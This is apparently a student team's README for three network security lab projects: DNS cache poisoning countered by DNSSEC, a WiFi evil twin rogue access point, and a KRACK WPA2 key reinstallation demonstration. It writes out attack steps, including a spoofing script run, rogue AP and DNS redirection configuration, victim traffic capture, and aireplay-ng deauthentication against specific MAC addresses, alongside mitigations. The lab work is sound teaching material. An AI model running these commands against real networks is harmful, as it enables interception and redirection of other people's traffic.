Network Security Projects

Team Members

Name	ID
Omar Ganna	900222646
Ahmed Abdeen	900225815
Mohamed Mansour	900222990

---

Projects

1. DNS Cache Poisoning & DNSSEC Defense

Overview

Simulation of a DNS cache poisoning attack and its mitigation using DNSSEC.

Environment

VM	IP	Role
Kali Linux	192.168.1.10	Attacker
Ubuntu Server	192.168.1.20	Recursive Resolver
Ubuntu Server	192.168.1.40	Authoritative Server
Ubuntu (XFCE)	192.168.1.30	Victim

Requirements

• VirtualBox with 4 VMs on Internal Network named dns
• Promiscuous mode enabled on all adapters
• Python3 + Scapy on Kali (pip install scapy)
• BIND9 on Resolver and Auth Server

Setup Instructions

1. Auth Server

• Install BIND9
• Copy setup/auth-server/named.conf.options to /etc/bind/
• Copy setup/auth-server/named.conf.local to /etc/bind/
• Copy setup/auth-server/zones/target.local.db to /etc/bind/zones/
• Restart BIND9: sudo systemctl restart bind9

2. Resolver

• Install BIND9
• Copy setup/resolver/named.conf.options to /etc/bind/
• Copy setup/resolver/named.conf.local to /etc/bind/
• Copy scripts disable_dnssec.sh and enable_dnssec.sh to ~/
• Make executable: chmod +x ~/disable_dnssec.sh ~/enable_dnssec.sh
• Restart BIND9: sudo systemctl restart bind9

3. Victim

• Set DNS to Resolver: echo "nameserver 192.168.1.20" > /etc/resolv.conf

4. Kali (Attacker)

• Install Scapy: pip install scapy
• Copy attack/dns_poison.py to ~/

Running the Attack

Part 1 — Attack (DNSSEC OFF)

# On Resolver
~/disable_dnssec.sh
sudo rndc flush

# On Kali
sudo python3 dns_poison.py

# On Victim
dig @192.168.1.20 www.target.local +short
# Should return 192.168.1.10

Part 2 — Defense (DNSSEC ON)

# On Resolver
~/enable_dnssec.sh
sudo rndc flush

# On Kali
sudo python3 dns_poison.py

# On Victim
dig @192.168.1.20 www.target.local +short
# Should return 192.168.1.40

How the Attack Works

1. Victim queries Resolver for www.target.local
2. Resolver forwards query to Auth Server
3. Kali sniffs the query and reads the Transaction ID
4. Kali fires spoofed response claiming www.target.local = 192.168.1.10
5. Resolver caches the fake record
6. Victim is redirected to attacker's machine

How DNSSEC Defeats It

• Auth Server signs all DNS records with a private key
• Resolver verifies every response cryptographically
• Spoofed responses have no valid signature and are rejected

---

2. WiFi Evil Twin Attack

Overview

A rogue WPA2 access point is created broadcasting the same SSID as a legitimate network. Victim devices auto-connect, at which point the attacker controls their DHCP and DNS — enabling full traffic interception and DNS-based redirection.

Environment

Machine	IP	Role
Alienware Aurora R13 (Ubuntu 24)	192.168.50.1	Attacker — hosts the rogue AP
Wireless interface wlp4s0	MAC: 98:59:7a:79:a5:ef	AP interface broadcasting Lab-WiFi
Samsung S22 Ultra	192.168.50.61 / .98	Victim device 1
iPhone	192.168.50.100	Victim device 2

Requirements

• Linux machine with a wireless interface that supports AP mode
• hostapd — rogue access point
• dnsmasq — DHCP and DNS server
• tcpdump — traffic capture
• Python3 — captive portal web server

sudo apt install hostapd dnsmasq tcpdump

Setup Instructions

1. Configure the Rogue AP

• Copy setup/hostapd.conf to /etc/hostapd/hostapd.conf
• Edit ssid= to match your target network name

2. Configure DHCP and DNS

• Copy setup/dnsmasq-evil-twin-lab.conf to /etc/dnsmasq.d/

3. Assign a Static IP to the Wireless Interface

sudo ip addr add 192.168.50.1/24 dev wlp4s0
sudo ip link set wlp4s0 up

4. Enable IP Forwarding (optional — gives victims internet access)

echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -o enp3s0 -j MASQUERADE

5. Prepare the Captive Portal Page

mkdir ~/evil-twin-web
echo "<h1>Evil Twin Lab Test Page</h1><p>This is a controlled lab page. No real credentials are collected.</p>" > ~/evil-twin-web/index.html

Running the Attack

Step 1 — Start the Rogue AP

sudo hostapd /etc/hostapd/hostapd.conf

Step 2 — Start DHCP and DNS

sudo systemctl start dnsmasq

Step 3 — Start the Captive Portal

cd ~/evil-twin-web
sudo python3 -m http.server 80

Step 4 — Capture Traffic

sudo tcpdump -i wlp4s0 -nn -w ~/evil-twin-evidence/evil-twin-demo.pcap

Step 5 — Verify a Victim Connected

iw dev wlp4s0 station dump

Step 6 (Optional) — Redirect a Specific Domain to Your Page

Add the following to /etc/dnsmasq.d/evil-twin-lab.conf, then restart dnsmasq:

address=/www.target-site.com/192.168.50.1

When the victim visits that domain, the DNS server returns your IP and your web server responds with the captive page.

How the Attack Works

1. Attacker broadcasts a rogue WPA2 AP with the same SSID as a known network
2. Victim device auto-connects, completing the WPA2 handshake
3. Attacker's dnsmasq assigns the victim an IP and sets itself as gateway and DNS
4. All DNS queries from the victim are intercepted and logged in plaintext
5. The attacker can optionally map specific domains to their own server to serve any page

3. KRACK Attack — WPA2 Key Reinstallation Attack

Overview

KRACK (Key Reinstallation Attack) is a vulnerability discovered in the WPA2 protocol in 2017 by Mathy Vanhoef. The attack targets the WPA2 four-way handshake and forces a victim to reinstall an already-used encryption key. Unlike attacks that break cryptographic algorithms directly, KRACK abuses weaknesses in the protocol logic itself. By replaying handshake messages, the attacker causes nonce reuse, which breaks the security guarantees of AES-CCMP encryption.

Key Insight: KRACK does not break AES encryption itself. Instead, it forces WPA2 clients to reuse nonces with the same encryption key, making encrypted traffic vulnerable to replay and decryption attacks.

Environment

Machine	Role	Operating System
Alienware Laptop	Legitimate Access Point	Linux
Ubuntu Laptop	KRACK Attacker	Ubuntu Linux
Raspberry Pi	Victim Client	Raspbian Jessie

Network Configuration

Parameter	Value
SSID	Lab-WiFi
Encryption	WPA2-PSK / CCMP
Channel	6
Victim Device	Raspberry Pi
Attack Tool	krackattacks-scripts

Attack Architecture

The attacker creates a rogue access point (Evil Twin) using the same SSID and encryption settings as the legitimate AP. After a deauthentication attack forces the victim offline, the Raspberry Pi automatically reconnects to the stronger rogue AP. During reconnection, the attacker intercepts WPA2 handshake messages and replays specific packets to trigger key reinstallation.

Attack Flow:

1. Victim connects to legitimate AP
2. Attacker creates Evil Twin AP with same SSID and credentials
3. Victim is disconnected using deauthentication frames
4. Raspberry Pi reconnects to rogue AP automatically
5. WPA2 handshake messages are intercepted
6. Message 3 is replayed to victim
7. Victim reinstalls encryption key and resets nonce
8. Nonce reuse leads to encrypted traffic exposure

The WPA2 Four-Way Handshake

The WPA2 four-way handshake establishes a Pairwise Transient Key (PTK) between the client and the access point.

Client (Supplicant)         AP (Authenticator)
                <---- Message 1 (ANonce) ----
                ---- Message 2 (SNonce) ---->
                <---- Message 3 (GTK, MIC) --
                ---- Message 4 (ACK) ------->
         [ Encrypted communication begins ]

The vulnerability occurs because WPA2 allows retransmission of Message 3 if Message 4 is not received. Vulnerable clients reinstall the key whenever a valid Message 3 is received, even if the key was already installed previously.

Vulnerability Point: Replaying Message 3 forces vulnerable WPA2 clients to reinstall the PTK and reset the nonce counter back to zero.

Scripts and Commands Used

Monitor Mode Setup

sudo iw dev wlp4s0mon del 2>/dev/null
sudo airmon-ng check kill
sudo airmon-ng start wlp4s0
sudo iwconfig wlp4s0mon channel 6
sudo iw dev wlp4s0mon set channel 6

Launching the KRACK Attack Script

sudo su
source ~/krackattacks-scripts/krackattack/venv/bin/activate
cd ~/krackattacks-scripts/krackattack
./krack-test-client.py

Deauthentication Attack

sudo aireplay-ng --deauth 3 \
  -a 98:59:7a:79:a5:ef \
  -c b8:27:eb:e0:61:75 \
  wlp4s0mon

Verifying Rogue Access Point Connection

iwconfig wlan0

Before the attack, the Raspberry Pi shows the legitimate AP's MAC address. After deauthentication and reconnection, the MAC address changes to the rogue Evil Twin AP — while the SSID (Lab-WiFi) remains identical.

Impact Analysis

Capability	Impact
Nonce Reuse	Reuse of encryption keystreams
Traffic Decryption	Exposure of encrypted wireless frames
Packet Replay	Injection or replay of captured packets
Man-in-the-Middle	Interception of victim traffic

Note: KRACK does not recover the WPA2 password itself and does not break AES encryption directly.

Patched vs Vulnerable Behavior

Vulnerable Clients — reinstall the PTK on every replayed Message 3:

[Replay Msg3]
wpa_supplicant: reinstalling PTK
wpa_supplicant: resetting nonce to 0
-> RESULT: VULNERABLE

Patched Clients — detect key is already installed and ignore the retransmission:

[Replay Msg3]
wpa_supplicant: key already installed
wpa_supplicant: ignoring reinstall request
-> RESULT: NOT VULNERABLE

Mitigations & Recommendations

1. Update wpa_supplicant
2. Apply operating system security patches
3. Use HTTPS whenever possible
4. Avoid legacy TKIP encryption
5. Upgrade to WPA3 where supported
6. Monitor for suspicious deauthentication traffic

sudo apt update
sudo apt upgrade wpasupplicant

Results Summary

Aspect	Result
Handshake Replay	Successfully demonstrated
PTK Reinstallation	Confirmed vulnerable
Nonce Reuse	Detected successfully
Patched Systems	Resistant to attack

The Raspberry Pi running Raspbian Jessie was confirmed vulnerable to CVE-2017-13077 due to successful PTK reinstallation and nonce reuse.

References

1. https://www.krackattacks.com
2. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13077
3. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13080
4. https://github.com/vanhoefm/krackattacks-scripts
5. https://w1.fi/security/2017-1/